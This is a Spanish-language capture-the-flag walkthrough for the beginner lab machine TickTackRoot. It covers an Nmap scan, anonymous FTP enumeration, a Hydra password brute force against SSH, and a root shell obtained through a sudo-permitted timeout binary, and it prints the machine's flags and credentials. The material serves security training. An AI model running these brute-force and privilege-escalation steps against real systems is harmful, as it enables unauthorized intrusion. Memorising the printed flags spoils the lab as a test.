CorvusDDosKRom

The Hackers Labs: TickTackRoot

Principiante

TickTackRoot es una máquina de nivel principiante en The Hackers Labs.

Linux
The Hackers Labs
FTP Anonymous FTP Hydra SSH sudo timeout

TickTackRoot

Plataforma: The Hackers Labs

Dificultad: Principiante

🔗 Link de la máquina: https://labs.thehackerslabs.com

TickTackRoot

Reconocimiento

Realizamos un escaneo de puertos con Nmap para identificar los servicios activos en la máquina objetivo.

sudo nmap -p- --open -sS -sCV --min-rate 5000 -Pn -n -oN ticktackroot.txt 192.168.100.7
Starting Nmap 7.98 ( https://nmap.org ) at 2025-09-19 08:11 -0300
Nmap scan report for 192.168.100.7
Host is up (0.00073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0           10671 Oct 03  2024 index.html
|_drwxr-xr-x    2 0        0            4096 Oct 07  2024 login
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.100.4
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 5c:38:6e:8a:4b:bb:b4:2a:ca:cb:3a:94:62:9c:aa:7e (ECDSA)
|_  256 06:c4:ea:41:7d:c3:4b:f7:8c:68:19:6b:5c:23:e4:70 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 08:00:27:61:36:56 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.39 seconds

Detalles del comando:

  • -p-: Escaneo de todos los puertos.
  • --open: Muestra solo puertos abiertos.
  • -sS: Escaneo SYN para determinar el estado de los puertos.
  • -sCV: Usa scripts por defecto y detectar versiones de servicios.
  • --min-rate 5000: Establece un ritmo mínimo de escaneo.
  • -n: Desactiva la resolución DNS.
  • -Pn: Omite la detección de hosts activos.
  • -oN ticktackroot.txt: Guarda los resultados en el archivo “ticktackroot.txt”.

Puertos descubiertos:

  • 21/tcp - FTP (vsftpd 3.0.5) — login anónimo habilitado con un archivo index.html y una carpeta login
  • 22/tcp - SSH (OpenSSH 9.6p1)
  • 80/tcp - HTTP (Apache 2.4.58) — página por defecto de Ubuntu

Enumeración FTP

El escaneo revela que el FTP permite login anónimo. Nos conectamos:

ftp 192.168.100.7
Name: anonymous
Password: (vacío)

FTP

El banner de bienvenida del servidor muestra: “Bienvenido Robin” — una pista del nombre de usuario del sistema.

Exploramos los archivos disponibles. Dentro de la carpeta login encontramos un archivo login.txt:

get login/login.txt
rafael
monica

El archivo contiene dos nombres que resultan ser un señuelo. El usuario real es robin, tal como indicaba el banner del FTP.

El archivo index.html corresponde a la página por defecto de Apache, sin información relevante.


Fuerza Bruta SSH

Con el usuario robin obtenido del banner FTP, realizamos un ataque de fuerza bruta contra el servicio SSH usando Hydra:

hydra -l robin -P /usr/share/wordlists/rockyou.txt ssh://192.168.100.7 -t 64
[22][ssh] host: 192.168.100.7   login: robin   password: babyblue
1 of 1 target successfully completed, 1 valid password found

Hydra

Credenciales obtenidas:

  • Usuario: robin
  • Contraseña: babyblue

Acceso Inicial

Con las credenciales encontradas, nos conectamos por SSH:

ssh robin@192.168.100.7

SSH

Acceso obtenido como robin. Leemos la flag de usuario:

cat user.txt
8XG29KLM3PZA1VQR5JYN

User Flag


Escalada de Privilegios

Enumeración sudo

Verificamos los permisos sudo del usuario robin:

sudo -l
Matching Defaults entries for robin on TheHackersLabs-Tickackroot:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User robin may run the following commands on TheHackersLabs-Tickackroot:
    (ALL) NOPASSWD: /usr/bin/timeout_suid

sudo -l

El usuario puede ejecutar /usr/bin/timeout_suid como root sin contraseña. Este binario es una variante del comando timeout, que según GTFOBins puede abusarse para lanzar una shell. Ejecutamos:

sudo /usr/bin/timeout_suid 7d /bin/bash
# id
uid=0(root) gid=0(root) groups=0(root)

Privesc

Leemos la flag de root:

cd /root
cat root.txt
9BW5V2UJZ4NXDF3Q7CML

Root Flag


¡Root conseguido!

Hemos completado exitosamente la máquina TickTackRoot de The Hackers Labs.